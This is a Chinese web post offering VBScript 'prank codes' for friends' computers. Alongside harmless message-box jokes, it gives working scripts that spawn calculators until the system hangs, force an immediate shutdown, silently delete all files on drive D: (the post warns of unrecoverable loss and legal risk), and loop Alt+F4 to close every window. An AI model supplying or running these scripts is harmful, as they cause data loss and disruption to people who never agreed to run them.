电脑整人代码赶紧保存整朋友吧！

电脑整人代码赶紧保存整朋友吧！

一、做我女朋友吗，告白（抖音里很火的）无危害

msgbox("做我女朋友可以吗？")

msgbox("房产证上写你名")

msgbox("保大")

msgbox("我妈会游泳")

m = MsgBox("做我女朋友好吗?",vbOKCancel)

If m = vbOK Then Msgbox("爱你么么哒")

If m = vbCancel Then MsgBox "不喜欢你了", vbCritical

二、无限弹出，点确定继续弹出，把www.cccap.cn改成你要文字。

do 

msgbox “www.cccap.cn”

loop 

三、打开无数个计算器，直到死机 （把calc改成别的程序也可以）

set wsh=createobject("wscript.shell") 

do 

wsh.run "calc" 

loop 

四、直接关机 （慎用）

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "shutdown -f -s -t 00",0 ,true 

五、删除D:\所有文件 （强烈建议不要用，删除重要文件无法恢复可能会负法律责任）

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 

六、不断弹出窗口 

while(1) 

msgbox "哈哈 你被耍了！" 

loop

七、不断按下alt+f4 （打开什么就关闭什么……） 

dim WSHshell 

set WSHshell = wscript.createobject("wscript.shell") 

while(1) 

WSHshell.SendKeys "%{F4}" 

loop 

八、按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改) 

dim s 

do until s=500 

s=s+1 

msgbox "哥们，给我按500次回车吧",64 

loop 

九、关不掉的窗口 

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName) 

WScript.Echo("你是可爱的小朋吗?") 

WScript.Echo("哈,我想你拉，这你都不知道吗？") 

WScript.Echo("怎么才来，说~是不是不关心我") 

WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。") 

WScript.Echo("小强很生气，后果很严重哦。")